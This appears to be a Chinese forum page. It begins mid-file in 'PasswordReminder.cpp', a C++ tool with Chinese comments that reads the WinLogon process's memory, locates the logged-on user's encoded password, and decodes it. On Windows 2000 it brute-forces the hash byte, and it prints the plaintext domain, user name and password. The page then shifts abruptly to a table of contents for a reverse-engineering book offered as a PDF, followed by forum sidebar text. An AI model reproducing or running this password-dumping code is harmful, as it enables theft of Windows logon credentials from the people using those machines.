HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT到用户密码 // BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在内存中搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) printf ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); // NT就是好,hash-byte直接放在编码中:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K中到用户密码 // BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的内存空间中寻UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increment = SystemInfo.dwPageSize; // Move to next memory block. i += Increment; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT中解码用户密码 // void DisplayPasswordWinNT (void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在NT中,hash-byte是包含在编码中的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K中解码用户密码 // void DisplayPasswordWin2K (void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win2K中hash-byte并不存放在编码中 // 所以在这里进行的是暴力破解 // 下面的循环中i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. // 使用i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin2K // end PasswordReminder.cpp
第三卷************** 不错的PDF电子书,共3个分卷,点我名字可以全 第1部分 逆向101 第1章 基础 3 1.1 什么是逆向工程 3 1.2 软件逆向工程:逆向 4 1.3 逆向应用 4 1.3.1 与安全相关的逆向 5 1.3.2 软件开发中的逆向 8 1.4 底层软件 9 1.4.1 汇编语言 10 1.4.2 编译器 11 1.4.3 虚拟机和字节码 12 1.4.4 操作系统 13 1.5 逆向过程 13 1.5.1 系统级逆向 14 1.5.2 代码级逆向 14 1.6 工具 14 1.6.1 系统监控工具 15 1.6.2 反汇编器 15 1.6.3 调试器 15 1.6.4 反编译器 16 1.7 逆向合法吗? 17 1.7.1 互操作性 17 1.7.2 竞争 18 1.7.3 版权法 19 1.7.4 商业机密和专利权 20 1.7.5 美国数字千禧版权法 20 1.7.6 DMCA案例 22 1.7.7 许可证协议 23 1.8 代码范例与工具 23 1.9 结论 23 第2章 底层软件 25 2.1 高阶视角 26 2.1.1 程序结构 26 2.1.2 数据管理 29 2.1.3 控制流 32 2.1.4 高级语言 33 2.2 低阶视角 37 2.2.1 底层数据管理 37 2.2.2 控制流 43 2.3 汇编语言101 44 2.3.1 寄存器 44 2.3.2 标志位 46 2.3.3 指令格式 47 2.3.4 基本指令 48 2.3.5 范例 52 2.4 编译器和编译入门 53 2.4.1 定义编译器 54 2.4.2 编译器架构 55 2.4.3 列表文件 58 2.4.4 专用编译器 59 2.5 执行环境 60 2.5.1 软件执行环境(虚拟机) 60 2.5.2 现代处理器的硬件执行环境 63 2.6 结论 68 第3章 Windows基础知识 69 3.1 组件及基本架构 70 3.1.1 简要回顾 70 3.1.2 特征 70 3.1.3 支持的硬件 71 3.2 内存管理 71 3.2.1 虚拟内存和分页 72 3.2.2 工作集 74 3.2.3 内核内存和用户内存 74 3.2.4 内核内存空间 75 3.2.5 区段对象 77 3.2.6 VAD树 78 3.2.7 用户模式的内存分配 78 3.2.8 内存管理API 79 3.3 对象与句柄 80 命名对象 81 3.4 进程与线程 83 3.4.1 进程 84 3.4.2 线程 84 3.4.3 运行状态切换 85 3.4.4 同步对象 86 3.4.5 进程初始化顺序 87 3.5 应用程序编程接口 88 3.5.1 Win32 API 88 3.5.2 本地API 90 3.5.3 系统调用机制 91 3.6 可执行文件格式 93 3.6.1 基本概念 93 3.6.2 映像区段(Image Sections) 95 3.6.3 区段对齐(Section Alignment) 95 3.6.4 动态链接库 96 3.6.5 头部 97 3.6.6 导入与导出 99 3.6.7 目录 99 3.7 输入与输出 103 3.7.1 I/O系统 103 3.7.2 Win32子系统 104 3.8 结构化异常处理 105 3.9 结论 107 第4章 逆向工具 109 4.1 不同的逆向方法 110 4.1.1 离线代码分析 110 4.1.2 现场代码分析 110 4.2 反汇编器——ILDasm 110 4.3 调试器 116 4.3.1 用户模式调试器 118 4.3.2 内核模式调试器 122 4.4 反编译器 129 4.5 系统监控工具 129 4.6 修补工具 131 Hex Workshop 131 4.7 其他类型的逆向工具 133 可执行程序转储工具 133 4.8 结论 138 第2部分 应用逆向 第5章 未公开的技术 141 5.1 逆向和互操作性 142 5.2 基本原则 142 5.3 定位未公开的API函数 143 我们要什么? 144 5.4 案例研究:NTDLL.DLL中的 5.4 Generic Table API 145 5.4.1 RtlInitializeGenericTable 146 5.4.2 RtlNumberGenericTableElements 151 5.4.3 RtlIsGenericTableEmpty 152 5.4.4 RtlGetElementGenericTable 153 5.4.5 RtlInsertElementGenericTable 168 5.4.6 RtlLookupElementGenericTable

1,486

社区成员

发帖
与我相关
我的任务
社区描述
VB API
社区管理员
  • API
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧